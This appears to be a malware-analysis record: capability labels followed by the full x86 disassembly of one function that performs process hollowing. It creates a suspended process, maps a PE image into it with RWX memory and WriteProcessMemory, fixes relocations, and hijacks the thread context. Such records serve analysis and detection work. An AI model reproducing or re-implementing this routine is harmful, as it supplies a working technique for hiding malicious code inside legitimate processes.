Function at 0x405c90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f4
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x405fde
push 0x401350
push 0x401368
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x405fde
mov ebx, dword [edi + 0x3c]
mov eax, 0x14c
add ebx, edi
mov dword [ebp - 4], ebx
cmp word [ebx + 4], ax
jne 0x405fde
movzx eax, word [ebx + 0x5c]
cmp eax, 3
jne 0x405cf7
mov ecx, 0x401378
jmp 0x405d05
cmp eax, 2
jne 0x405fde
mov ecx, 0x4013c0
xor eax, eax
mov byte [ebp + eax - 0x20], 0
inc eax
cmp eax, 0x10
jb 0x405d07
xor eax, eax
mov byte [ebp + eax - 0xa0], 0
inc eax
cmp eax, 0x44
jb 0x405d14
xor eax, eax
nop dword [eax]
nop dword [eax + eax]
mov byte [ebp + eax - 0x370], 0
inc eax
cmp eax, 0x2cc
jb 0x405d30
xor eax, eax
mov byte [ebp + eax - 0x58], 0
inc eax
cmp eax, 0x18
jb 0x405d42
mov dword [ebp - 0x370], 0x10007
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xa0]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405fd5
lea eax, [ebp - 0x40]
push eax
push 0x18
lea eax, [ebp - 0x58]
push eax
push 0
push dword [ebp - 0x20]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
push 0
push 0x480
lea eax, [ebp - 0x7f0]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x370]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x405fc5
push dword [ebp - 0x7e8]
push dword [ebp - 0x20]
call esi
test eax, eax
jne 0x405fc5
push 0x40
push 0x3000
push dword [ebx + 0x50]
push dword [ebp - 0x7e8]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x7e8]
mov edx, ecx
sub edx, dword [ebx + 0x34]
push 0
push dword [ebx + 0x54]
mov dword [ebx + 0x34], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push eax
push dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], edx
call ebx
mov eax, dword [ebp - 4]
xor edx, edx
xor esi, esi
movzx eax, word [eax + 6]
mov ecx, eax
cmp dx, ax
jae 0x405e6c
mov ecx, dword [ebp - 0x24]
movzx eax, si
lea eax, [eax + eax*4]
lea ecx, [ecx + eax*8]
mov eax, dword [ecx + 0x14]
test eax, eax
je 0x405e5d
push 0
push dword [ecx + 0x10]
add eax, edi
push eax
mov eax, dword [ecx + 0xc]
add eax, dword [ebp - 0x10]
push eax
push dword [ebp - 0x20]
call ebx
mov eax, dword [ebp - 4]
inc esi
movzx eax, word [eax + 6]
cmp si, ax
jb 0x405e36
mov ecx, eax
cmp dword [ebp - 0x28], 0
je 0x405f86
xor eax, eax
xor edx, edx
mov dword [ebp - 0x30], eax
cmp dx, cx
jae 0x405f86
mov ecx, dword [ebp - 4]
nop dword [eax]
xor edx, edx
inc edx
cmp byte [edx + 0x401404], 0
jne 0x405e92
mov ebx, dword [ebp - 0x24]
movzx eax, ax
lea eax, [eax + eax*4]
lea eax, [ebx + eax*8]
mov dword [ebp - 0xc], eax
mov esi, eax
test edx, edx
je 0x405ed0
mov edi, 0x401404
sub edi, eax
mov al, byte [esi]
lea ecx, [esi + edi]
dec edx
lea esi, [esi + 1]
cmp al, byte [ecx]
jne 0x405f6c
test edx, edx
jne 0x405eb8
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0xa4]
xor ebx, ebx
mov dword [ebp - 0x34], ecx
test ecx, ecx
je 0x405f6c
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x2c]
nop dword [eax]
mov ecx, dword [eax + 0x14]
add ecx, ebx
add ebx, 8
add ecx, edx
mov dword [ebp - 0x38], ecx
mov edi, dword [ecx + 4]
sub edi, 8
shr edi, 1
je 0x405f67
mov eax, dword [eax + 0x14]
add eax, ebx
add ebx, 2
movzx esi, word [eax + edx]
mov eax, 0x1000
cmp si, ax
jb 0x405f5f
push 0
and esi, 0xfff
mov dword [ebp - 8], 0
add esi, dword [ecx]
lea eax, [ebp - 8]
add esi, dword [ebp - 0x10]
push 4
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
lea eax, [ebp - 8]
push 0
push 4
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
sub edi, 1
jne 0x405f07
cmp ebx, dword [ebp - 0x34]
jb 0x405ef0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 4]
inc eax
mov dword [ebp - 0x30], eax
cmp ax, word [ecx + 6]
jb 0x405e90
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2cc]
add eax, 8
push eax
push dword [ebp - 0x20]
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov dword [ebp - 0x2c0], eax
lea eax, [ebp - 0x370]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret